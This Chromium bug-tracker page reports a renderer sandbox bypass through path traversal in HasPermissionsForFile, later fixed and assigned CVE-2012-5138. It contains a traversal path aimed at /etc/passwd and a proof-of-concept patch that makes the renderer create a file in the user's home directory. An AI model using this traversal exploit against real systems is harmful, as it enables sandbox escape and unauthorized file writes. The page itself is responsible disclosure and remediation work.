Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Issue 161564 Security: Renderer sandbox bypass on ChildProcessSecurityPolicyImpl::SecurityState::HasPermissionsForFile()
Starred by 1 user Project Member Reported by aedla@chromium.org, Nov 16 2012 Back to list
Status: Fixed
Owner:
Closed: Dec 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 0
Type: Bug-Security



Sign in to add a comment
Here is the code from ChildProcessSecurityPolicyImpl::SecurityState::HasPermissionsForFile():

  bool HasPermissionsForFile(const FilePath& file, int permissions) {
    FilePath current_path = file.StripTrailingSeparators();
    FilePath last_path;
    while (current_path != last_path) {
      if (file_permissions_.find(current_path) != file_permissions_.end())
        return (file_permissions_[current_path] & permissions) == permissions;
      last_path = current_path;
      current_path = current_path.DirName();
    }

    return false;
  }

This function doesn't correctly handle paths like:
path/to/trusted/../../../../../../../../../etc/passwd

In this case HasPermissionsForFile would believe that /etc/passwd is under path/to/trusted/. If read/write permissions
are given to path/to/trusted, they are also given to /etc/passwd.

VERSION
Chrome Version: 25.0.1328.0 (Developer Build 168263)
Operating System: Ubuntu 12.04 x64

REPRODUCTION CASE

Apply this patch to content/renderer/render_thread_impl.cc. The renderer should create a file_in_home_dir in user_data_dir/../../ which is the user's home directory under linux.
It uses "Default/File System" as the trusted directory. I have only tested this on linux.

--- src/content/renderer/render_thread_impl_old.cc	2012-11-16 13:46:58.239438771 -0800
+++ src/content/renderer/render_thread_impl.cc	2012-11-16 14:34:10.683402359 -0800
@@ -107,6 +107,11 @@
 #include "ipc/ipc_channel_posix.h"
 #endif
 
+#include "base/file_path.h"
+#include "chrome/common/chrome_paths_internal.h"
+#include "content/common/fileapi/file_system_messages.h"
+#include "webkit/fileapi/file_system_types.h"
+
 using WebKit::WebDocument;
 using WebKit::WebFrame;
 using WebKit::WebNetworkStateNotifier;
@@ -250,6 +255,21 @@
 // which means that we need to make the render thread pump UI events.
 RenderThreadImpl::RenderThreadImpl() {
   Init();
+
+  FilePath target;
+  chrome::GetDefaultUserDataDirectory(&target);
+  target = target.Append("Default/File System/../../../../file_in_home_dir");
+
+  // ensure that "Default/File System" exists
+  Send(new FileSystemHostMsg_Open(
+    1,
+    GURL("http://www.example.com/"),
+    fileapi::kFileSystemTypeTemporary,
+    0x100000,
+    true));
+
+  // create file_in_home_dir
+  Send(new ViewHostMsg_AsyncOpenFile(1, target, 0x48, 0));
 }
 
 RenderThreadImpl::RenderThreadImpl(const std::string& channel_name)

 
Comment 1 by jsc...@chromium.org, Nov 16 2012
Cc: tsepez@chromium.org
Labels: -Area-Undefined Area-Internals OS-All SecImpacts-Stable SecImpacts-Beta SecSeverity-High Mstone-23
Status: Available
@tsepez - Could you possibly fix this one? It seems to me that path traversal characters supplied by the renderer are always going to be a bad thing, so maybe there's a more general solution to this?
Comment 2 by jsc...@chromium.org, Nov 16 2012
Cc: darin@chromium.org
Added here: http://codereview.chromium.org/3431032 (including @darin for context)

Comment 3 by tsepez@chromium.org, Nov 16 2012
Cc: abarth@chromium.org
Owner: tsepez@chromium.org
Yeah, this looks wrong.
Comment 4 by tsepez@chromium.org, Nov 17 2012
step 1. Apply traversal check in http://codereview.chromium.org/11414046/
step 2. Determine why the move away from the "bless single file" model.
Comment 5 by abarth@chromium.org, Nov 17 2012
I wasn't hoping I hadn't reviewed the patch, but of course I did.  :(
Comment 6 by tsepez@chromium.org, Nov 19 2012
Cc: piman@chromium.org
Project Member Comment 7 by bugdroid1@chromium.org, Nov 20 2012
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=168692

------------------------------------------------------------------------
r168692 | tsepez@chromium.org | 2012-11-20T01:53:59.254096Z

Changed paths:
   M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/child_process_security_policy_unittest.cc?r1=168692&r2=168691&pathrev=168692
   M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/child_process_security_policy_impl.cc?r1=168692&r2=168691&pathrev=168692

Apply missing kParentDirectory check

BUG= 161564 

Review URL: https://chromiumcodereview.appspot.com/11414046
------------------------------------------------------------------------
Labels: Merge-Approved
Status: FixUnreleased
Comment 9 by jsc...@chromium.org, Nov 26 2012
Labels: Audit-IPC
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member Comment 11 by bugdroid1@chromium.org, Nov 27 2012
Labels: -Merge-Approved merge-merged-1271
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=169793

------------------------------------------------------------------------
r169793 | cevans@chromium.org | 2012-11-27T23:35:34.529122Z

Changed paths:
   M http://src.chromium.org/viewvc/chrome/branches/1271/src/content/browser/child_process_security_policy_unittest.cc?r1=169793&r2=169792&pathrev=169793
   M http://src.chromium.org/viewvc/chrome/branches/1271/src/content/browser/child_process_security_policy_impl.cc?r1=169793&r2=169792&pathrev=169793

Merge 168692 - Apply missing kParentDirectory check

BUG= 161564 

Review URL: https://chromiumcodereview.appspot.com/11414046

TBR=tsepez@chromium.org
Review URL: https://codereview.chromium.org/11316208
------------------------------------------------------------------------
Project Member Comment 12 by bugdroid1@chromium.org, Nov 27 2012
Labels: merge-merged-1312
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=169794

------------------------------------------------------------------------
r169794 | cevans@chromium.org | 2012-11-27T23:36:39.997545Z

Changed paths:
   M http://src.chromium.org/viewvc/chrome/branches/1312/src/content/browser/child_process_security_policy_unittest.cc?r1=169794&r2=169793&pathrev=169794
   M http://src.chromium.org/viewvc/chrome/branches/1312/src/content/browser/child_process_security_policy_impl.cc?r1=169794&r2=169793&pathrev=169794

Merge 168692 - Apply missing kParentDirectory check

BUG= 161564 

Review URL: https://chromiumcodereview.appspot.com/11414046

TBR=tsepez@chromium.org
Review URL: https://codereview.chromium.org/11416218
------------------------------------------------------------------------
Labels: CVE-2012-5138
Status: Fixed
Project Member Comment 15 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-Internals -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Mstone-23 Security-Impact-Stable Security-Impact-Beta Cr-Internals M-23 Security-Severity-High Type-Bug-Security
Labels: -Restrict-View-SecurityNotify
Project Member Comment 17 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 18 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 19 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member Comment 20 by sheriffbot@chromium.org, Jun 14 2016
Labels: -security_impact-beta
Project Member Comment 21 by sheriffbot@chromium.org, Oct 1
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 22 by sheriffbot@chromium.org, Oct 2
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment